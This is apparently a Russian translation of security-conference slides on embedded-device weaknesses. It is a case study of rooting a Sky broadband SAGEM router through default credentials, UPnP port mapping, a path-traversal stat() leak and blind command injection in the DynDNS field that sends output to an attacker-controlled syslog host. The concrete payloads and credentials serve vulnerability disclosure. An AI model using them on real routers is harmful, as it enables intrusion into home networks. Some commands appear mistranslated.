Автор: Hacker Fantastic
О чем пойдет речь в статье:
- Что такое и где можно встретить встроенные устройства?
- Чему нас учит история?
- Предостережения и дефекты встроенных платформ.
- Методики оценки встроенных устройств
- Тематическое исследование: обзор пользовательских устройств
Что такое и где можно встретить встроенные устройства?
Что угодно и где угодно!
Почему это должно меня волновать?
- Встроенные устройства зачастую являются «черными ящиками»
- Минимальное количество или полное отсутствие документации и исходного кода;
- Обеспечение защищенности посредством отсутствия информации об устройстве
- Позиционирование как «защищенных» устройств
- История показывает, что вендоры далеко не всегда говорят правду
- Поставка вместе с программным обеспечением провайдера, обеспечивающим безопасность
- Хронология уязвимостей
- DD-WRT Remote Root
- O2 Wireless Box CSRF
- BeThere BeBox бэкдор
- BTHomeHub CSRF & More
- Повышение интереса хакеров к пользовательским устройствам
История повторяется
- Как правило, работа устройства осуществляется без разграничения привилегий
- Все операции выполняются с максимальными правами
- SYSTEM / root (uid = 0) для всех процессов
- Один дефект может скомпрометировать всю платформу
- Разработчики встроенных платформ не заботятся о безопасности
- Часто код пишется в небезопасной манере
- Имеют место XSRF/XSS
- Наличие логических и интерфейсных багов (например, возможность обхода каталога)
- Ошибки переполнения буфера
- Редкое повторное использование библиотек
- Устройства используют открытые библиотеки на разных платформах
- SNMP
- UPnP
- BusyBox
- TinyHttpd, Micro_Httpd и т.д.
Исследование Sky broadband
- Законность и оценки
- Кому что принадлежит?
- Получение разрешения
- Нарушение лицензий открытого и GPL кода
- Оценка безопасности
- Сканирование портов и последующий анализ
- Известные UPnP уязвимости
- Пример утечки информации
- Аудит исходного кода
- Подготовка тестов
- Использование уязвимости
- Определение и использование уязвимости нулевого дня
- Поиск потенциального бага
- Обход ограничений
- Создание remote root эксплойта
Законность и оценки
- Как правило, широкополосное оборудование арендуется
- Оборудование принадлежит провайдеру
- Для доступа необходимо письменное разрешение
- Пользование услугами службы поддержки и службы безопасности
- Нарушение соглашений
- Вещь, часто используемая для усмирения интереса исследователей
- Открытое ПО и GPL
- Вендоры часто нарушают GPL
- Вендоры частично используют GPL исходный код без изменений
Локальная сеть:
Порт
|
21/TCP
|
FTP отключен.
|
23/TCP
|
Telnet отключен
|
53/TCP
|
Dnsmasq-2.23
|
80/TCP
|
micro_httpd
|
1863/TCP
|
Неизвестно
|
1864/TCP
|
Неизвестно
|
4443/TCP
|
Неизвестно
|
5190/TCP
|
Неизвестно (возможно, SIP)
|
5431/TCP
|
UPnP
|
5566/TCP
|
Неизвестно
|
30005/TCP
|
Неизвестно
|
Глобальная сеть:
Порт
|
1863/TCP
|
Неизвестно
|
1864/TCP
|
Неизвестно
|
4443/TCP
|
Неизвестно
|
5190/TCP
|
Неизвестно (возможно, SIP)
|
5566/TCP
|
Неизвестно
|
30005/TCP
|
Неизвестно
|
Версия прошивки:
Version 1.9 Sky
Linux 2.4.x / Linux 2.6.x
SAGEM F@ST2504
Имя пользователя и пароль по умолчанию admin/sky.
Известные уязвимости UPnP:
- Универсальный Plug and Play
- Может использоваться для автоматической конфигурации различных устройств
- Позволяет форвардинг внутренних портов во внешнюю сеть
- Используется для настройки перенаправления портов «на лету»
- Miranda – свободно распространяемая UPnP-оболочка для аудита.
- http://code.google.com/p/mirandaupnptool/
- GNUCitizen флеш UPnP уязвимость
- Демонстрация отправки UPnP через флеш
- Форвардинг внутренних портов в интернет
- Необходимо знать порт
- Необходимо знать IP адрес, который необходимо форвардить
- Адреса Sky по умолчанию: myrouter.home и 192.168.0.1
Пример UPnP атаки (Miranda)
UPnP атака (отображение портов)
Используй исходники, Люк!
- Защита от просмотра директорий в micro_httpd.c
- 74: if ( sscanf( line, "%[^ ] %[^ ] %[^ ]", method, path,
- protocol ) != 3) …
- 83: if ( path[0] != '/’ ) …
- 85: file = &(path[1]); …
- 90: if ( file[0] == '/' || strcmp( file, ".." ) == 0 ||
- strncmp( file, "../", 3 ) == 0 || strstr( file, "/../" ) !=
- (char*) 0 || strcmp( &(file[len-3]), "/.." ) == 0 ) …
- GET /../ HTTP/1.1
- Найдены различные варианты
- Попытки запросить файл не из переменной PATH не увенчались успехом
- Защита micro_httpd при обычных операциях
Проверяем защиту!
- Скомпилируйте код как программу на С для быстрой проверки
Взлом устройств с помощью STAT()
- Micro_httpd включает Sky/Sagem для CGI
- Модифицировав исходный код можно обойти проверки безопасности.
- Аргументы для файлов в CGI скриптах могут позволить смотреть только одну директорию
- ../ не может использоваться в качестве CGI аргумента
- Одной папки достаточно, чтобы добраться до корня файловой системы.
- Использование sky_temp.html – ключевой фактор для получения stat() файлов
- /sky_temp.html?status=501&title=&text=&this_file=../etc/passwd
- Если файл или папка существует, в response будет значение «Не возвращено ни одного элемента»
- Теперь можно проверить все файлы и папки на устройстве
Утечка информации STAT().
Вывод информации о содержимом папки /bin с помощью python- или shell-скрипта.
Обнаружение уязвимости при выполнении команд.
- Используя доступный web-интерфейс пользователя, я протестировал все поля для ввода и request на уязвимость внедрения команд
- Использовались обычные для shell управляющие символы ; ‘ | &
- с помощью уязвимости STAT() была найдена папка /bin/ping
- пробовались команды вроде |/bin/ping 192.168.0.3
- Направленная атака инъекцией команд.
- Результат атаки можно видеть на странице
- Слепая инъекция команд
- Перехват и сетевого трафика сниффером
- Определена уязвимость DynDNS
- Введенные пользователем данные передаются в shell из CGI аргументов
Попытка эксплуатации уязвимости
Замечания по найденной уязвимости
- Возможна только слепая инъекция команд
- Длина вводимых команд не должна превышать 40 символов
- Не допускаются команды telnet и netcat
- Получение результата выполнения команд через DNS
- Работает через UDP
- Может использоваться для обработки строковых данных
- Довольно сложно в реализации
- Получение результата выполнения команд через SYSLOG
- Работает через UDP
- Позволяет обрабатывать строковый результат
- Вероятно, уже реализовано
- Советы и хитрости
- В качестве пробела можно использовать $ISF
- Для перенаправление stderr в stdout можно использовать 2>&1
- Можно попытаться использовать проблемные с точки зрения кодировки для URL символы (2>%261)
Создание оболочки эксплойта
- Настройка IP нарушителя как удаленного syslogd
- Может быть произведена через web-интерфейс
- Прослушивание 514 порта UDP на syslog сообщения
- Использование инъекции команд
- ddnsHostname= |logger =p 0 “’ls /bin’”
- данная команда отправит вывод ‘ls /bin’ в удаленный syslog
- Псевдо-интерактивная оболочка позволяет проводить атаку эффективнее
- Оболочка позволяет просматривать файлы
- Появляется возможность загрузки/скачивания двоичных файлов
- Можно смотреть настройки устройства
Беги, Форрест, беги! А вот и оболочка.
Пользователи и пароли
- Скрытые пользователи в файле паролей не описаны в руководствах
- Root был переименован в admin
- Добавлена возможность аутентификации по паре user/user
- Отсутствие возможности смены пароля – обход аутентификации
- Для чего нужны другие пользователи?
Встроенный сниффер сети.
Передать файл? – Используем TFTP!
Что по поводу интернета?
- Пользователь нажимает на ссылку, выполняется XSS или IFRAME атака
- UPnP публикует web службу Sky в WAN
- Можешь использовать IFRAME чтобы перевести деньги с карты? (подсказки)
- Get работает не хуже POST
- Возможные пути атаки
- Доступная по умолчанию аутентификация парой user/user. Не изменили пароль? Обход аутентификации!
- Нарушитель устанавливает IP адрес как syslog демон
- Нарушитель запускает псевдо интерактивную оболочку на устройстве и получает права администратора благодаря httpd.
- Теперь нарушитель может использовать сниффер сети, скачивать/закачивать файлы в/из сети и т.д.
Последствия и риски?
Hacker Fantastic
Блог/Twitter/Код и прочие полезные вещи
http://www.hackerfantastic.com
Благодарю за внимание!